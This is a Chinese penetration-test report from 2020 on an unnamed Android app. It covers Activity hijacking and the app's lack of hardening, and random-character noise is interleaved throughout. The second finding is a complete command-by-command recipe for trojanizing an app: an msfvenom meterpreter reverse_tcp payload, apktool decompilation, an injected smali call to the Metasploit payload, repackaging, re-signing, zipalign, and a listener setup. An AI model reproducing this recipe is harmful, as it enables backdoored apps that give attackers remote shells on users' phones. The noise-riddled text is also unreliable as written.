原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

q" v6 } x0 \* e$ X; H' x7 S7 K

; K( v' F+ d/ K

$ j6 X+ I6 D, x/ ?, \3 h9 i( c

4 W" u% h. W8 K h0 ` , Y& m% e# u9 ^# z- a

$ h: }; ?- X5 s/ P: m# T8 E 文档编号：                ! s; I$ f* H1 m* j" E% t8 x3 c' Y

 

/ V8 M* A% |0 z

* A) v2 ?0 i4 x5 e! _   7 l5 K0 h9 w* h! M5 C9 j$ j 5 S* e- p5 c, M

5 n! L! F* X' N

$ w/ |: |! l: C) u   3 W+ t3 c- f. D

1 T' n) X* }" l! k / b2 z8 V$ ^4 t& M5 g2 d4 j  

; z$ ^) R Z* y" v* v# y $ W4 c. p5 @, J

  + g. F* S) n: Y: Z0 k" w1 u 3 x1 s, }, V8 J

% K4 j. n: F3 y# _

某某某APP渗透测试 l8 q. F5 ]8 s

8 F5 ?. L) @/ x" {6 K

4 L$ x0 n" F/ H   3 x8 Y! ^3 \5 l5 t; R 1 i; G6 Q5 u4 ^, b

# F" V) i8 I4 Q+ | & T( }0 A9 I4 S   8 ^: v% C, {' C + E0 J# P& ~" v0 i

6 G2 s( T5 t7 X9 B- ]2 c   8 m3 |' z+ [6 S$ ^' P" Z4 i

3 O+ Z) x* P0 Y' w

( P- T3 c7 ]. n% C+ B9 B: ?2 v 0 W( F% G, `; Y5 w; y( C1 i  

. {# E7 \( K, J" x% L% H& J* `

5 E* @# U8 T9 l- c3 ]9 a 0 c3 M- o5 T+ ^$ Q% h 技 术 报 告 * P9 s. u% R' \' F: L4 j & Y" K2 O. W0 c4 z

' u$ a5 f* w- r; T, q

8 U* t8 r5 L& U# w' i( x   ( C+ @- x9 W }5 v! F2 o$ r - \6 |9 ]' M# S; [: q" V) y" G5 e

* x/ i2 S$ z0 H( G( }1 M& q" w- W) E

& S0 A, ?6 W3 H& k! w   4 f$ ~2 w3 e& C" Z# a

8 {4 t! @9 Q, ]4 f- o * p. Y: v$ s5 p( P/ r, \, ~( X9 c

, }* h0 Z6 E4 t/ a' B* h 4 h- Z8 N/ [! F) ?5 q. q   0 p1 }- b ]. Q. M , @& `+ A0 @) d" L

, q! K* g$ f, ? D# { ( m5 c3 C: | z, s- ]. J- a5 n

9 X% l* Q, r( y9 g* s" r4 t   # ^) C$ C5 Y- o+ k: n) ` Q

  W; z3 M0 s9 H& W2 [3 e: K+ q

) p% M1 c* I/ C/ {. W2 z3 w   3 n& s) l9 X! M X6 _6 L

9 J# J2 t& U/ @' b# z9 M0 Y

! Y9 a0 W) _* g" P* F: B   ( }3 A% p$ h) a # m, M& _- S$ h2 N3 C# j

5 ]. G3 ~$ C1 V9 Q- t( X' V7 K

: ~( j! V0 W' U: M ' M; \4 {1 h ^   ( ]; C* R0 { D! r. o) o1 p$ C

, H, P* R' ~% S: `) Y& h8 _% K   ( M3 `! i: Y- C$ B

. U9 C0 T w& {* |9 C2 I ! n l7 Y( \9 ^" F

  K5 E$ Z$ R4 N* Q

3 R. v/ Y) j p- E5 P/ @

7 a5 Q% Q% E8 e6 Y u  

5 b4 V0 L2 Q) e   5 e. q! m8 m9 ^$ C: Y2 `* Q5 M9 _

8 A E; O0 z5 d8 v : W A3 a8 G+ G6 X2 x2 s6 c

  . v. X% K# J; L5 u' H7 h

$ C' I8 n# Y3 e K T/ M) M. i 1 N0 K+ |, c- M

+ L: x6 S* O7 f8 \& ?   ) ?! w* ~$ Y- X! P6 z

9 d/ l8 \! N9 Q( J) ]8 y$ @, {& j

; v1 h0 ?7 n1 \0 U+ ]$ W: c   ! c% D* Q" j& I5 M/ ^. @9 [ ) a$ u; O: M6 ]# Q- o

! }) x* Y# M I3 F2 c+ `5 L/ P$ w

7 m- @9 t8 {) d$ g3 q/ u   ! ]# f" W6 l& W! R

& U& o" T5 @8 l) H9 `% u2 a+ _   ! R" q. d. @& w6 \$ S" A

9 t8 L0 x S8 P0 |' G3 r8 \

  , D# F2 G5 J- f) P5 \& N+ Z

! I0 h! `" L+ [7 v& J

二〇二〇年 9 z8 i9 _' \6 W4 A ( B6 k! s; k: v' y0 X) b; e

% O7 ^8 q7 o, C

6 n, Y* e0 M% O6 R
! e% j2 A3 |: g/ I2 A 4 e$ P3 P4 Q, h3 T" { 9 R# O6 z B' Z9 D; D' J6 r

$ ]0 c+ {# I# g4 D- j ' W( T5 s+ f U5 Y

+ q- D y0 t z% P' B8 i * h# S; M2 u6 B0 {/ u3 K" n
' E* j5 R% D2 d+ \" R7 } 5 Z7 }1 @& U9 w) ^/ u

( I$ i6 c" i0 S2 Y$ k - j" l1 T' X; o5 r

' z: X0 s" B! C# `" ^! l : {( e# H: Q9 m; ?5 i# F# [ 目 录

( t* Y! e; O/ `* Z ! d8 R7 u- \: f1 E+ R. V; F3 G

/ K; l9 H8 m/ Q# N. g V5 a: I   ; W% l, O# C" y( [! j

/ a6 ^/ b: T9 d9 w# s

! f$ }+ G% Y: M5 x0 i7 @+ D 1 概述... 3 - x' H3 j, R) M9 b

2 A& M& s! y1 s2 }& b1 D

3 A% o; _6 I2 @" z9 Q 1.2测试时间... 3

9 a( }6 H; _; @# w1 L2 t# r

# P4 c5 u6 B# j j7 i 8 a7 O3 W6 i& g0 S+ h; i 1.3测试对象... 3 . i: s- D' r' t' v& V4 R. g. Z1 ~" X( Y

2 [ T; ?* ^7 @% `& ]# H" a0 v + C' t5 k4 ~' k

% t$ C# s$ U; L( [: W+ B5 J5 q3 b 1.4测试结果... 3 * I2 [! A/ m* ^$ l7 y

$ _* p/ C# X7 P6 R: o: S' U

- V. m% G9 v+ W+ n# a 2 检测结果... 4 ! B3 E0 h: B/ l+ o% b & p% H9 |# O9 U

% y# e4 M! ]( R5 u. b7 o3 T3 H# R+ x

3 q3 h4 I' k2 O% K( r 2.1 某某某... 4

% `. L, N; C& y# j( p4 N ~: n " \6 N6 [1 v! C% f# e9 M( @

2.1.1检测目标... 4

! Q: {! d0 H1 q1 M5 K

2.1.2检测结果... 4

6 D5 t8 z+ u& `0 S4 \

2.1.2.1. 4

* O4 [6 S" q/ i% ?* B

. ?: b; a; |0 {: p/ {0 d% D* F 2.1.2.2. 6

: ~& ?8 V0 V+ c) ~+ z 1 W$ ]# h) D" |; { b 3 H! m: k+ W/ D2 J

3 b7 f3 p* }! I p7 R' H 5 C( Y" ~+ u# m5 _0 Z 5 N+ g& N' S% r6 k9 ]( T& S; D' _

% X" a& N* L7 j1 o
$ r% z2 o5 B0 P

5 M1 |9 t1 {* t0 Z( J" F ' ~2 b. \" \- E9 ^ 1 概述 1 g6 @1 T" `0 Z7 D2 }

1 E- G8 O5 d1 G5 I# W* M

4 V2 Z2 ]8 m* ]* E) A1 Z( W 1.2测试时间 + s' x& I& V$ L9 G

6 c& b o5 o. v; Q3 ]9 E! n 2 ?& `% u: U7 K + E8 Y( F; A: }; y; i* q. V4 Q3 r$ |2 N6 t# Y) c" u6 P+ x& h6 I2 y6 a$ Y: }4 _: s! V7 ]4 U( q6 M3 D' h$ Q$ Z; u! n7 ~% E* Q% D% f$ D9 b. @+ f: S1 N# v+ @$ t# Q; d/ z. Z% y5 S8 a2 v' r. h) ?/ A8 x/ M( E7 G; O$ `# M/ ` t: u: b! U5 A- b: R# r$ J0 P9 H( L# n, x: E; D$ ]1 c+ ~4 ]. W" z4 d- i8 X4 c4 j* H: Z* J5 X; V- R' J2 p

5 Y$ c5 c4 Q1 u( L+ b! D4 u . Y$ o# Y; r$ U 渗透测试时间 0 x# R. R1 Y/ p* l) ^! s : s! L* D: s; p4 b$ ?
% ]2 q! L& R% d3 Q( W1 k h C3 Z" y6 l. o5 e 1 O7 D# `1 k! R4 Y+ K 起始时间 3 X1 f9 y1 l, S* T% K$ I! e " Y& [' I7 ?' t( y	! j/ ?/ |7 o- S | 2020年4月6日
/ Q2 V* P* S% I4 D: T 3 m: f: `3 d0 R; ?' T4 y 结束时间 ) `% W( w, K1 m9 l% A' s& W) h6 T	! X% B p+ G2 m% {: U 2020年4月9日 5 f. n+ B8 J9 G' s ) P9 [0 U& O2 K4 P, m! B 9 g5 T& |5 R" f

7 m1 r- Y( o- I

1.3测试对象 : d- k' i* b4 j 7 @8 t$ O0 [4 k3 u5 N1 S0 \

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

, i( ^( Q9 k8 y( @$ D % R1 ^2 a B/ b' q: I& `6 n; L

& c5 `: v! L& \/ c3 L! h2 B ( \! G' k3 l9 k! H/ J# ]. t4 z. J 表1-1 检测对象 ; z' F0 B" T* A

a! r. L7 |' L( o/ s. s( h 7 J% Z5 b9 |! o" z x8 ]8 N7 Y" P/ s' @1 J+ J' m. ^* c* _2 I3 I) \7 I5 M6 Q/ f1 u z" ]+ E+ I. Q. j) x/ e2 M7 g) \8 D) S9 H1 x1 C. h4 }; Z8 _, x$ D2 t5 a5 b9 D1 m6 q" K' F! t: K8 d; N$ O3 |5 i0 j( `) U& N a( A: O/ }3 B) t9 B& B+ H( x' a: {# M5 [3 Y" _ J: F6 _% c3 C# ~# J3 _

2 C' U* w8 v) x9 b- a ! v) F- v5 S5 c6 O 序号 9 ^2 }5 O3 m2 R. |+ [& O 9 P2 L v+ c- J6 }! o$ g: } & {: D) u, N0 m0 w& J) g$ c9 Z	# a1 F' G! x/ K8 a, V! M( A * y0 [0 x8 o8 l3 ^" F( u 测试对象 4 U- n: b* A+ l' W; H	$ u7 w6 a" O" B0 N4 G* K; ^: v ) ^. I/ H+ h6 {$ V$ I( n 测试地址 5 L4 s" L+ ?: a7 C 2 q: E' H( X7 Y' X 7 q5 m4 K! Q3 K8 l/ U( L	; o( y- a1 A ^; L- l6 t! ]( z! z * P' @) v8 E m0 \8 X 安全漏洞 - ]7 i3 F6 h+ ~ M ( b: L |2 g9 O/ D* l 8 ^3 J! `: Q3 g
, y# s) `3 I0 D5 A4 O5 L 1 : z6 z6 l( N4 Q( h0 r1 Y+ Z	: B+ ]) o$ \* [ Q 某某某安卓APP * |* A" V. ^2 n: W	4 G! V& H) a, Z$ \; _ $ _: @9 c7 x# i% E) }   2 O( w8 x# z; H+ ?% l& Z; Y4 n* P	2 - \: {7 p' w6 N+ t ! l+ Q6 F" `, y8 X+ R/ e0 `! F ! f, ] Q a: [' N

* S0 P1 ?, t5 M 1.4测试结果 / O; F( }; W3 c# K4 l

. Q' p5 Q1 ^' X" }3 h7 n

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

5 S* D; D- u9 Q% H9 K

: ~ z# c1 k& A& O : D+ `% }5 {& a3 p   2 n7 P' |6 D# H0 p

0 l& D- N& x4 w( U* R + J3 o! t$ T; U. E: y3 Q

$ t; g; M2 h2 F+ W7 n8 x4 K2 v/ Q 0 G1 D, x+ d; o. \3 V+ L: B% {* m: D" @: u& C! ]. L* ~5 j; t. O. d, R0 E9 L" x. }; M r* }! b, P4 W1 M% l2 L2 t7 W2 ]4 o$ ], E6 B+ q4 J6 |5 Y. R: [: J3 x( Y. d* O* M8 n$ M, T( p- [* Q$ G( i& e; H9 w! E1 ^* u6 g1 v2 Y% e( i1 Y7 t! O( Q8 m$ s9 X: z% o0 l X1 P. }. p4 m6 \, q9 [5 o: k! F( T8 v, ~( H) x3 }) E% |7 U! i& L {8 `/ u' g' ^, C8 B, w* z8 A3 \5 O: ~4 j' v/ o7 N& D6 M1 p2 Q+ h0 n+ w6 B3 C8 I1 q1 L f9 r! W- Y% Z8 m0 X" ?% {3 {9 h' `7 I o" ~$ I) W/ a4 ^6 h+ k7 E6 J4 I! C; F3 h3 ]5 V: W- ?( b& W" w# \, p, g4 v8 ~2 C. r+ Z* y4 e8 n- H7 l, D$ b3 [. x$ t2 [& E+ {, t* q V3 [+ {. k9 p' R; q" g1 \' e2 }/ u" C6 \+ E2 m# h0 x, [7 G& S+ E7 c2 p8 ^& r' Y e. D+ K( J3 t& R# a4 E

# R/ _$ {+ K& J+ T7 ]4 D 3 b8 o1 o. r6 D% ]% B! c8 u% L 序号	系统名称 # K9 {$ T: t- z0 l# H! W$ F 7 y9 ]. f" j1 z" K# a, u	' [; j* D& I5 k x) a L: i& ?0 D W* k( u0 n 漏洞名称 ( y( g3 {; L2 G3 Q 8 [' t9 b- F8 O" T1 z8 ^8 s0 w	! Y8 t6 h2 J. C( Y( L" m4 v 0 v9 {2 `4 \; O$ A9 a8 }# O 漏洞危害 - h' ?) k6 A0 g: ~; N& l, Q; a) C & y% g! o: G2 t! B2 U " Z) [: c8 b1 @" A% Y' T* A	, `+ L& g0 a% Q/ O( S % F; D( o/ K5 U 修复结果 ; w* S# D9 u9 O0 U3 ^* c7 }* o2 }" t2 O - N9 [, }7 h/ X8 Y , W& h8 _+ ^& M/ f& Y7 I6 q" }: H / n6 v4 E; ?0 d: o. }3 @0 S/ F# @
$ {, d2 B! K1 u6 w) z. t$ a. V9 N 1 1 H W( l; k- r } G, u 7 V* X: V2 n P5 K2 F6 {( K	% H6 P2 Z- o; ^( i# r- G5 t 某某某某某某APP $ n$ g2 Q$ e; O, { : u' g+ |0 ^8 _$ f! o* p6 E	) S, w" f" Q$ Z, U ^3 {: } 4 n, l1 O) n) r6 u, j ( e( b4 Z# w; |+ O8 c" n3 F1 ~ Activity 劫持 , p3 }% a) N, p N8 L   % |7 U, {- ? ^! U7 k E - _# r# B! g& q4 |0 [; |- b1 F5 C' x	2 j, {# q0 p2 I; u I2 x7 I 高	7 i0 T; e, w$ E5 `# J q7 D& x. U0 C) U/ C* j   9 m( j: V2 m& \2 Q6 S. k; x( Y $ q0 [$ P0 x. s9 b" v& r# v; O
2	. X; Z$ u% d- w# q' n3 t' e 9 [9 S/ m- X; `) ` , F% ?+ i8 V ?/ L 某某某某某某APP : x% e" ~4 m6 X; j+ a j) Z+ C7 |; B7 `; L+ z; q	3 n* y& F9 X7 x7 z 反编译二次打包捆绑木马、篡改APP代码 9 e: Y* J e# h% \6 t 6 W% q4 M4 Q- S6 A. o6 g" C	! J" X% E1 [" p: i% Z) ^ - h! o! ?2 g6 d+ h 高 1 g! W; }9 m y' A8 S( _ ( s' r y+ z: z- ^2 a	: [# a, g$ A6 h1 ~* N6 o/ ^ 6 p8 n; H& p2 n, d+ U) t$ x0 n " \) b, G0 D6 {- N; O& H$ h   8 I* T" V. }7 ~1 B ( D% p3 G: A! w3 w) _

) q2 b- u& k' q. j

; s% b- z# \ U: m. l+ q D1 s

  & L; x4 @" Z# q* `, X( h6 g

i4 K* c+ ^7 v( B0 G' B w2 b

- N1 [3 e$ F2 c' Q4 v1 n 表1-2 测试结果 % @6 c9 S2 F1 D* v, Q& q5 u , K# `5 U4 _0 I

% G1 C3 j- L0 Q, L0 v, U" h/ L

2 L: J6 Z8 C" R2 d& V$ b5 x 0 M" U, w6 m3 g4 Y0 r' \  

' \ J' G- ~: l

0 J; ?) Y: Q; F$ N* ^" w3 G8 S9 x 2 检测结果                   

$ F* c1 m8 b- \+ @, W " r I0 j* m- B! m 2.1 某某某 # n: v& k }4 M& T% L* w/ v

; V1 S. y' W' U2 }% l

9 r3 Q0 _. G" ] 6 C% ]$ U. O+ k& u' P1 }) h 2.1.1检测目标 3 _( ?5 Q, N( d) C9 r) J- i+ u' h

T7 m; O/ h4 c' n

0 Y2 A) T0 v; k2 T; W7 i ) C# V$ J& k5 ^: e$ C3 l 目标地址： 某某某某某某APP ; j3 f, ?% ^8 l v2 w

: {; X( q/ h9 E5 o9 N 7 V, ~: p) ~; p" w. F" h

2.1.2检测结果

2.1.2.1 & ~4 c& z- ~( e# d' y. x* |- n

3 x" [- I7 G1 D) O. M' o

; o' q: p- G. d3 E$ k _ 漏洞链接地址：某某某某某某APP 7 _7 @8 f2 B& F/ z+ Z & S8 v1 m8 d0 y8 `1 {& D

) }* x4 `4 L( [6 S' c- ^

  ( C. r4 f0 A$ r0 Z' L" l

9 u7 N7 ~" W) m" A 漏洞分析及取证： ! W" l- E, q9 M) o; ^) ~ 7 c7 ?; x, a! ?$ @* a! F& _' c

: Q/ d' M. f0 v9 L4 d% I - m7 R* N( R* d# d* a8 }$ L" T! Q

0 M$ d. g' ?; f: ]/ z+ Z a6 n9 ]* u: C                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 6 N' N* l& V# G- f" W( R* b" j

+ q4 K4 A, E" U/ C( s( C 7 b ^/ B. d( f2 E0 K$ h- Y: c7 x0 c# T& [

3 P& ?5 A5 E1 d! a6 r8 }9 T      0 I. L8 N( ^8 W: O0 r% z" _ `

2 u) R; U) H* v3 M ' T T& T1 ^* \7 {& ]

: p4 I, z. I4 S6 g4 e6 i; X                      

" Z) @5 X- y: |6 d

: }! v2 V0 e1 J7 f' K

" L; j8 X7 x9 q$ I$ N1 S% `( h/ W

* ]) G g" e, F 4 @: N2 Z [4 P( L3 B+ J3 Q

6 c# M- L! d! S& Y

! P! q I0 c# \" m- ^4 J: k

1 x8 q- D# o( Y5 G7 s , c1 s7 l- q( S2 p5 P$ K

5 C0 i0 h9 |7 L. c8 [ 漏洞危害：高

6 P& L4 e: e$ ?$ j5 m7 q

1 B) S$ T* {, m w$ e ) o/ o, ~4 S: P: H. O- l" j0 {6 o- m2 m- h" ^4 k7 q: c& P# H8 U b. E5 `1 Y' s+ C! x: ^' f. G$ n; L! X- ~6 P. a/ R: r8 _7 }4 _2 n. K# I4 ^+ x! g4 H% w: C9 F$ i5 [1 O, o' B2 `: F( j% s; w Z/ m: F3 u: x& a V4 j* k M8 a2 ?9 {' [. F% A8 ~: @! L ^% t7 F3 L3 g j9 N) x- y" ? T: P: e# `: J. a: ?, b, r. L7 A! Q* k* C# b0 B0 R, ?# {$ }1 g6 t+ o5 b: ]) K

1 A! B9 r4 D5 [: i1 T; j N/ F1 h 严重程度 7 M( K5 L+ B" F0 V ) x B, z4 X, X8 \) ~% d1 `9 P 1 Y: E$ T+ l* K$ b/ o" g	, X1 [. r8 P( i1 R m 高 & T5 o3 d! n: z+ `) a, T) A4 G( U: Y / f: b5 [. _, Y	' w1 v/ \& {. L: L0 s ~5 t( Q" F0 z; X2 p( s/ S; n ) t+ B; ~; Q4 z& }9 o ■ 1 A# Z6 \/ e6 `) F/ W , d/ H" U* C) i9 a/ M( r	1 F# n* Z! Q1 K( H 中 $ q1 a1 h6 ?# `$ W - A+ {$ G- A4 j. c0 \ ( w g- D/ G# Q" e1 W; x9 z	) U: I9 _# X7 j( [4 T; x& u * E' |; t5 T& B) h: ] _   ( P7 ^ e5 |: X7 c- I0 O3 Z 1 }2 k4 U l. N6 v, O2 Q$ m 5 r5 [" P$ z. S ! |: P) H7 X+ X0 r( Y4 X& X" r5 l	/ G0 l0 i; X; q * \/ Z$ }- X* ^1 C 低 ) C& f$ ?& i% `1 ^4 U1 z/ M- ~ # }0 \; L6 P7 G/ x; S 2 N8 p3 B' X1 Y	0 Z6 |. Z* u, D , G' W' F+ {# C! k @. K # M, `' @* l" g- ], H( g" f% P   " u, ]$ u1 }* N5 `) c0 g. | 3 H* y1 s# F5 k% g

& n1 [/ U! q. u ( D+ E" R0 v" y! p; U! l

, j' V0 }8 |0 Y8 p0 D6 h: e$ s' r   * A; Y. w" B" L& B

# L% Y. D5 J9 z* C& P; Y- A 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ) r0 ? c# T# Q, {- @2 m

% g, P; @$ X9 j2 `

Q" M: R. k: b# O           " Y3 C; b# B2 G7 r$ j : a2 E! y H! x

; q0 ^$ t" _# |1 c! Q; Z7 U" F 4 k, Z* t F% p' y; `+ Y

( l2 i5 r _- O- M $ J O: h! G: q: @: O   . a4 r* E2 `* U3 j0 N

, }2 }( U( {# i - ?: u3 X7 U" O s$ f: M 2.1.2.2 # M% a5 e/ Q. }) M1 S% D5 W- ?

) `: z. ?( ] Y# ]7 q y1 H( h . ~/ Z: [8 h' ~( R* m

漏洞链接地址：某某某某某某APP

: Y, Z5 |/ P9 v! g A 2 A8 M* D7 D# g5 F: l 漏洞分析及取证： 6 k$ C; J+ |" S

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： & y' Z1 _& Q% a" n _ m

: V' K" x6 ?* T, \8 t 9 X& x9 |2 j1 \% _& |

用Metasploit 生成木马 apk % Q& t$ g6 T3 g; S

/ j# H& U# p( t ' P" s( ` G9 L. l' [7 @- ?

" ]$ X9 s3 {2 l6 u% Q0 F msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 5 s' g. g/ [& I, D; T

) y @% [* c- k

% e1 A" i# \: C* u T/ j. m/ Y, L 2 J4 S: \ @) j8 H3 L 反编译目标apk和木马apk

( M' n1 r9 t" a

1 b% k" z) N, E: a% f apktool d target.apk
: s1 J: L/ b, J% k! Q apktool d cockhorse.apk : X# l# M# Z3 ]: [% j0 \. p% ~4 U- a# ` " A% V' Q' Y2 O. A

2 i+ a3 O* S, G3 C0 ]

( x" d0 q' {# F! ^; M% Y ) ]9 ^" `. x$ b+ S7 j 木马 apk 注入目标 apk 6 q" i# d8 T- H5 F# R% o ( x4 {4 {8 k+ U5 v

$ `, J, @# Y' V 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
) E/ Z- Y; F1 Y+ b- b6 r invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 4 N. j9 w2 U5 l" n2 _9 H

! R* L+ }0 q8 m7 Z, x

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 ! F% Q( E5 ]0 m; w3 }

7 k* a6 z, {/ j. B$ W

4 F/ M' Z) ~3 h$ \9 E: F' t! S { * d0 }7 o* [: i+ _' H 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 4 B! V0 o. ?! ?3 }- [) A7 h

5 Q& |$ j3 I1 c

/ M) W# f+ I ? 回编译生成最终 apk * t) l# i) {6 s/ u

* J0 Z& q2 P8 k; h

重新打包 % ]! t1 ]+ {5 N8 U1 W( G

% B4 V; o# W7 Q apktool b -o repackage.apk target_app_floder + j8 l) X) m" Z( N$ j

6 r8 y! @ c8 M% u. P+ D

; M' C ~) q4 p2 @: E 9 M. i+ M+ X6 v, c& ?% k2 U( c 创建签名文件，有的话可忽略此步骤 ' O& n( P. s$ ~ X7 i3 f$ J- A* E* P

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ( b9 G5 |: X: e4 V

) f* {# C- H0 b7 |

" y9 n! X, Y0 W 签名，以下任选其一 ( Q9 e* P7 N; C# u8 u$ Z% d9 X) R

0 d$ x' w' Y5 a$ [: ~! V jarsigner 方式 " u0 Y0 m( g5 i# a% x2 [: W

+ X) q9 o7 x5 z( e

1 O& y0 I, y! c, k3 H; V jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + n) T5 ]$ v. h* R- O5 [. Z$ p$ m9 ] ( F$ A M& j2 u4 ^9 X5 B9 t" ~; @# Y

9 X6 u2 Z+ w+ k% ?8 \1 }. x% `

9 G( W- z: r) O3 ~; L apksigner 方式

3 j. W! z# a1 L* }8 e& u |2 V5 | apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 6 k9 M+ ~/ a, `- k

2 X; ]2 k3 j" k- e7 A& V E8 t # J# H+ r4 h* _4 d- N, j

如需要禁用 v2签名 添加选项--v2-signing-enabled false

. C+ f1 S, T6 }& ^- L3 x; |9 o; g

i0 S% |5 Q( p 验证，以下任选其一 - o; Z7 N6 I$ G: }0 H$ f3 Z ! ^8 K* Y- o* W% @

7 r$ ^" a7 U/ W $ H1 p) ^1 n* Y& m* w3 M

* i; O3 D2 D- l! o jarsigner方式

/ V7 X. @5 V6 d( J, s" R8 W+ m

$ d8 j6 X {+ o- E 0 x: T- W" o% V jarsigner -verify repackaged.apk ; z$ }* A" l8 ]) |5 m& m5 K3 W. T / b- Y$ t, o) l/ j

$ d0 e+ i9 }- p+ F " T2 o' v6 D* P% j( @7 K

) a* }3 S0 T; v+ g" G$ J' m& q 0 g; S6 k" N9 Y8 T" j; [, r& { apksigner 方式

0 m0 x% [& x) A4 l I

: [: V7 _6 e X. x0 B9 @% Q ! P3 M" H6 k$ ~ apksigner verify -v --print-certs repackaged.apk 8 {+ |. h( K# Z6 E, T) i % b o- e+ E/ X% Q' r& o

0 i2 }1 M- h* M' G+ g 3 R: H) T/ x) E

% t6 o, k. v: ]/ t! ^) K keytool方式 3 T% l. x2 N9 q2 D& `2 [, U

8 Q1 D( i+ o M9 Y0 ~4 Z

: y3 F+ ~# A. I: j6 L5 |: s + c. e3 f4 @5 U% L2 W5 ^* @ keytool -printcert -jarfile repackaged.apk , k# f7 U% Z) e. Y q! y: N & b+ A/ Q$ r% ~, v

6 p7 j( j/ y- _, d' c. y 对齐

* Z& F* ]. o* } ( Y8 Y( _- ~+ N6 D

* K$ w5 e, X1 v2 v5 q 字节对齐优化 & H% p6 F3 t9 f / ^4 X, A% i& Z

8 x9 M, p5 ?9 J7 J1 Q ( L+ c' ~0 x: R7 B zipalign -v 4 repackaged.apk final.apk ' H5 r5 ?5 o; v X, V; h

检查是否对齐 & u- ?! U$ [& ~" K: F; I# s

/ O9 I, H% C. }, U. x9 L) J5 V + w+ X# l9 H$ o* d: G9 `0 U& h

+ B3 j, m2 H5 T* Q zipalign -c -v 4 final.apk ! l/ |3 u" x- L, n# \ 0 r3 O) B. L- x) i1 E2 k

) U# e1 `3 M/ Q6 n* Q

注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 5 l# j% [6 f. B2 W" r9 F2 G

! ~( W1 @5 U! j+ l. K0 Y& {

1 e0 A3 e' }7 I: |9 d3 B3 a" W - n' s* f& @2 R+ r% Q: H: H. S' Z: c 启动Metasploit控制台，配置参数等待上线

6 P& Q& F; v. C0 T& F' d6 }* L

在终端依次输入如下命令 5 c- {( J; a- K) E

4 k! h0 |5 C, g " F; y7 v/ ]0 T0 ]& y) s- i

( H+ z9 H, {& E& ~0 m9 b' ~3 |: l 8 O; I2 H9 C0 M, ^ msfconsole , n) v9 F1 h6 H: u0 L# G1 Y + b1 H3 q1 v; R$ U( y1 |9 Q; x. M+ g

1 s' P' |6 q$ m, R# s# v6 z : W& j" i7 j! |- [" q" z! v8 B

use exploit/multi/handler . |) [# t1 `, u6 Q4 n: N 4 ^& k- m0 {1 j \: s7 s7 B

8 G& n& [# w1 L- E$ }- q! r

set PAYLOAD android/meterpreter/reverse_tcp

) x `5 j ]! F3 N9 \ set LHOST 192.xxx.xx.xx + \; ^5 C$ u$ ]7 h3 a9 |6 w : M; \+ f# l$ u

- S. n) C9 U a2 F, A / Q6 A3 d5 ?5 k0 v- J9 r8 Z

) n6 e0 {- V( W/ }* r set LPORT 4444

0 z2 i2 g: [4 ^0 O3 A( r+ N

+ j) w9 k6 ` G; u; }" X+ r4 [ exploit , r2 v: v7 l! R- S

" W3 ]+ A+ v0 i8 p: A

之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

+ R7 ]$ _; C8 ^- K2 U" M

漏洞危害：中 : T2 I& l$ {' f& g% N0 B4 N 8 ^- t0 y4 `# B- y! a: |! i

5 F# U4 D7 y: [, f$ m3 Z, d

( G( R2 Y# w* g) p3 W ; w8 L; K, e1 e( ?6 y; Z * z* t/ o C- R* Z4 w$ x* J5 s8 S$ W3 x. Z8 y( G S# v; ^$ ^0 P( `, W6 o& k9 l- }6 l5 S' z/ R4 ? q% {* E- C, n' O- X8 ?5 s" m N; G/ Q! f8 r' _1 y5 P1 {) H5 E* j3 i: X, F1 p- ~6 q6 x8 N8 }* C; M5 H, I. z+ W4 x$ C5 \$ p* u# N% r2 }" I8 U& u$ J1 Y& w8 I, m$ M1 e5 Z1 E0 i1 h1 w$ [' D0 I; `9 H2 k- z

, m* g2 k! {) D4 k& }6 s! \! K. l , `' P7 D# W* a/ r- C3 s ; M! z& j! y) i& S1 A& L 严重程度 ! K8 F) a& W o; a8 Q # I, X( y( D* x( L+ f	! l# u' W( `4 ^5 f8 e8 J9 W { 高 1 c! U1 U) C, C7 g4 J - q$ ?9 t; M0 g/ j6 Z/ L . g/ O2 i: D" Q1 `- V' m $ _8 `$ S+ H8 n" h* o, `: ~: ]	: m8 v( I1 ]0 Q5 W' m' {* k. R 4 a; k: ] _) j' w- E ■ 8 H; l( t- P) j+ o6 a- K6 `; \1 W	, [* M3 }! f5 R' @, x 5 o6 g, k! h# u$ s ; R! B6 C& k3 I 中 + J- d: z. D4 ]% M 7 W8 X4 O" G; f	% p& t4 x! \/ y: B / @& e9 f3 d& v   & x4 R7 t- e9 w/ \) P3 y8 w 7 m' ?. A) p& \+ M# ~* J , o% R% ?* v& j; A# Q	9 M4 O6 s/ n; |2 G( J! r 低	& }5 ~4 p# v+ @- M0 v8 {8 R 8 A# ?) j, N0 h& ^( T" o8 P$ x Z: X$ E2 g+ l# t

% C" ?# U1 G \4 N% \. u6 b 8 K" K: v; H/ U; N, e9 C3 D

$ j1 B e* a D0 S4 a7 Z # t/ `" y" v9 E2 x( @" A   " c. N5 m/ l2 O1 _" f8 Z + T y( `/ B3 E! i% k( u

